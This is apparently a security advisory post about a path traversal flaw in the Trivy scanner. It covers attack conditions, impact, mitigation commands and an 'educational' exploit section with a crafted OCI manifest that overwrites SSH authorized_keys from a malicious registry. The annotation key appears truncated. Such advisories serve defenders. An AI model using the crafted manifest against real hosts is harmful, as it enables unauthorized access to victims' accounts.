Listen to this Post
Vulnerability Overview
CVE-2026-55092 is a path traversal vulnerability affecting Trivy, an open-source security scanner. The vulnerability exists because Trivy does not validate the `org.opencontainers.image.` annotation from an OCI artifact manifest before using it as a destination filename.
When Trivy downloads an OCI artifact—such as a vulnerability database, Java database, misconfiguration checks bundle, or a WASM module—it extracts the value of the `org.opencontainers.image.` annotation from the manifest and writes the layer content to a file using that value as the filename. An attacker who can control the artifact can supply a crafted annotation containing path traversal sequences (e.g., ../../etc/passwd), causing Trivy to write the layer content to an arbitrary location on the host filesystem outside the intended destination directory.
Exploitation requires the attacker to direct Trivy to an attacker-controlled OCI repository. This can be achieved by overriding repository configurations through:
– The `–db-repository` flag, `TRIVY_DB_REPOSITORY` environment variable, or `db.repository` in `trivy.yaml` (vulnerability database)
– The `–java-db-repository` flag, `TRIVY_JAVA_DB_REPOSITORY` environment variable, or `db.java-repository` in `trivy.yaml` (Java vulnerability database)
– The `–checks-bundle-repository` flag (or deprecated --policy-bundle-repository), `TRIVY_CHECKS_BUNDLE_REPOSITORY` environment variable, or `misconfiguration.checks-bundle-repository` in `trivy.yaml` (misconfiguration checks bundle)
– The repository argument to `trivy module install
Realistic attack scenarios include copy-pasted commands or documentation snippets pointing to untrusted mirrors, or third-party mirrors that turn out to be hostile. Trivy’s default configuration, which downloads artifacts from Aqua-operated repositories, is not affected—the risk applies only when one of the above inputs is overridden to download a different artifact.
The impact is limited to the privilege boundary of the user running Trivy. However, in environments where the running user can overwrite critical files such as SSH authorized_keys, shell startup files, cron entries, or binaries on PATH, the arbitrary file write may be leveraged to achieve code execution as that user. In more restricted deployments, the impact is bounded to the user’s writable scope but may still allow tampering with scan results, build artifacts, or other files consumed by subsequent pipeline steps.
The vulnerability is fixed in Trivy 0.71.1.
DailyCVE Form:
Platform: Trivy (aquasecurity)
Version: < 0.71.1
Vulnerability: Path Traversal (CWE-22)
Severity: High (CVSS 7.5)
Date: 2026-06-25
Prediction: Patch already available (0.71.1)
What Undercode Say:
Check current Trivy version trivy --version Upgrade to patched version (0.71.1 or later) For Linux/macOS: sudo curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin v0.71.1 For Docker users: docker pull aquasec/trivy:0.71.1 Verify vulnerable repository overrides Check if any of these are set to non-default values: echo $TRIVY_DB_REPOSITORY echo $TRIVY_JAVA_DB_REPOSITORY echo $TRIVY_CHECKS_BUNDLE_REPOSITORY Check trivy.yaml configuration for custom repositories: cat ~/.trivy/trivy.yaml | grep -E "repository|db|checks"
Exploit: (Educational Purposes!)
A malicious OCI artifact manifest would contain a crafted `org.opencontainers.image.` annotation:
{
"annotations": {
"org.opencontainers.image.": "../../../../home/user/.ssh/authorized_keys"
},
"layers": [
{
"mediaType": "application/vnd.oci.image.layer.v1.tar",
"digest": "sha256:attacker_controlled_digest",
"size": 1234
}
]
}
When Trivy downloads this artifact, it writes the layer content to `../../../../home/user/.ssh/authorized_keys` relative to the intended destination, overwriting the target’s SSH authorized keys with attacker-controlled content.
Attacker hosts malicious OCI registry with crafted manifest Victim runs (if using a malicious mirror): trivy db --db-repository malicious-registry.com/trivy-db
Protection:
- Upgrade immediately to Trivy 0.71.1 or later
- If upgrading is not immediately possible, do not download Trivy artifacts (vulnerability database, Java database, misconfiguration checks bundle, modules, etc.) from OCI repositories you do not operate or trust
- Audit your Trivy configuration for any non-default repository overrides
- Run Trivy with the least privileges necessary—consider using a dedicated non-root user
- Use trusted, verified repositories only (Aqua-operated repositories are safe by default)
Impact:
An attacker who satisfies the conditions can overwrite or create arbitrary files on the host filesystem within the privilege boundary of the user running Trivy. The vulnerability does not grant any privileges beyond what that user already has. In environments where the running user can overwrite files such as SSH authorized_keys, shell startup files, cron entries, or binaries on PATH, the file write may be leveraged to achieve code execution as that user. In more restricted deployments, the impact is bounded to the user’s writable scope but may still allow tampering with scan results, build artifacts, or other files consumed by subsequent steps in the same pipeline. Reported by @ikkebr.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
